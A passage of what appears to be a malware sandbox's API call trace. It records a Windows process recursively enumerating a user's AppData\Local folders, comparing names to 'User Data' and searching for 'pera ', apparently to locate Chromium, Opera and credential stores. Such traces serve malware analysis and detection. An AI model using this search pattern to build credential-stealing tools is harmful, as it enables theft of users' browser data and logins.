out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0264.217] lstrcmpW (lpString1="Application Data", lpString2="User Data") returned -1 [0264.217] StrStrW (lpFirst="Application Data", lpSrch="pera ") returned 0x0 [0264.217] lstrlenW (lpString=0x0) returned 0 [0264.217] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.217] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\application data\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x2010, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="\x05")) returned 0xffffffff [0264.226] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79dbc710, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79dbc710, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79dbc710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="History", cAlternateFileName="")) returned 1 [0264.226] lstrcmpW (lpString1="History", lpString2="User Data") returned -1 [0264.226] StrStrW (lpFirst="History", lpSrch="pera ") returned 0x0 [0264.226] lstrlenW (lpString=0x0) returned 0 [0264.226] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.226] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\History\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\history\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x2010, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0264.226] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5c84ee20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1202e0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0264.226] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0264.227] lstrcmpW (lpString1="Microsoft", lpString2="User Data") returned -1 [0264.227] StrStrW (lpFirst="Microsoft", lpSrch="pera ") returned 0x0 [0264.227] lstrlenW (lpString=0x0) returned 0 [0264.227] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.227] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.227] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.227] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.227] lstrlenW (lpString=0x0) returned 0 [0264.227] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79698510, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.227] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.227] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.227] lstrlenW (lpString=0x0) returned 0 [0264.227] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0264.227] lstrcmpW (lpString1="Credentials", lpString2="User Data") returned -1 [0264.227] StrStrW (lpFirst="Credentials", lpSrch="pera ") returned 0x0 [0264.227] lstrlenW (lpString=0x0) returned 0 [0264.227] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.227] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.228] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.228] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.228] lstrlenW (lpString=0x0) returned 0 [0264.228] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.228] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.228] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.228] lstrlenW (lpString=0x0) returned 0 [0264.228] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.228] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.228] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0264.228] lstrcmpW (lpString1="Feeds", lpString2="User Data") returned -1 [0264.228] StrStrW (lpFirst="Feeds", lpSrch="pera ") returned 0x0 [0264.228] lstrlenW (lpString=0x0) returned 0 [0264.228] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.228] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.229] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.230] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.230] lstrlenW (lpString=0x0) returned 0 [0264.230] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bcd530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.230] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.230] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.230] lstrlenW (lpString=0x0) returned 0 [0264.230] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0264.230] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1 [0264.230] lstrcmpW (lpString1="Microsoft Feeds~", lpString2="User Data") returned -1 [0264.230] StrStrW (lpFirst="Microsoft Feeds~", lpSrch="pera ") returned 0x0 [0264.230] lstrlenW (lpString=0x0) returned 0 [0264.230] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds") returned 48 [0264.230] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0264.230] lstrcmpW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="User Data") returned -1 [0264.230] StrStrW (lpFirst="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpSrch="pera ") returned 0x0 [0264.230] lstrlenW (lpString=0x0) returned 0 [0264.230] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds") returned 48 [0264.230] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0264.230] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.230] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0264.230] lstrcmpW (lpString1="Feeds Cache", lpString2="User Data") returned -1 [0264.231] StrStrW (lpFirst="Feeds Cache", lpSrch="pera ") returned 0x0 [0264.231] lstrlenW (lpString=0x0) returned 0 [0264.231] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.231] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.231] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.231] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.231] lstrlenW (lpString=0x0) returned 0 [0264.231] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.231] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.231] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.231] lstrlenW (lpString=0x0) returned 0 [0264.231] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0264.231] lstrcmpW (lpString1="1NBUR4HR", lpString2="User Data") returned -1 [0264.231] StrStrW (lpFirst="1NBUR4HR", lpSrch="pera ") returned 0x0 [0264.231] lstrlenW (lpString=0x0) returned 0 [0264.231] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache") returned 54 [0264.231] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0264.231] lstrcmpW (lpString1="6ASVN7J7", lpString2="User Data") returned -1 [0264.232] StrStrW (lpFirst="6ASVN7J7", lpSrch="pera ") returned 0x0 [0264.232] lstrlenW (lpString=0x0) returned 0 [0264.232] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache") returned 54 [0264.232] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0264.232] lstrcmpW (lpString1="D68G7BIJ", lpString2="User Data") returned -1 [0264.232] StrStrW (lpFirst="D68G7BIJ", lpSrch="pera ") returned 0x0 [0264.232] lstrlenW (lpString=0x0) returned 0 [0264.232] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache") returned 54 [0264.232] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0264.232] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x92dd1230, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0264.232] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0264.232] lstrcmpW (lpString1="KQMHSVKD", lpString2="User Data") returned -1 [0264.232] StrStrW (lpFirst="KQMHSVKD", lpSrch="pera ") returned 0x0 [0264.232] lstrlenW (lpString=0x0) returned 0 [0264.232] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache") returned 54 [0264.232] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0264.232] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.232] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0264.232] lstrcmpW (lpString1="FORMS", lpString2="User Data") returned -1 [0264.232] StrStrW (lpFirst="FORMS", lpSrch="pera ") returned 0x0 [0264.232] lstrlenW (lpString=0x0) returned 0 [0264.232] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.232] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.234] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.234] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.234] lstrlenW (lpString=0x0) returned 0 [0264.234] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.234] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.234] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.234] lstrlenW (lpString=0x0) returned 0 [0264.234] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2d1623f0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0264.234] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2d1623f0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0264.234] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.234] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0264.234] lstrcmpW (lpString1="Internet Explorer", lpString2="User Data") returned -1 [0264.234] StrStrW (lpFirst="Internet Explorer", lpSrch="pera ") returned 0x0 [0264.234] lstrlenW (lpString=0x0) returned 0 [0264.234] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.234] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet 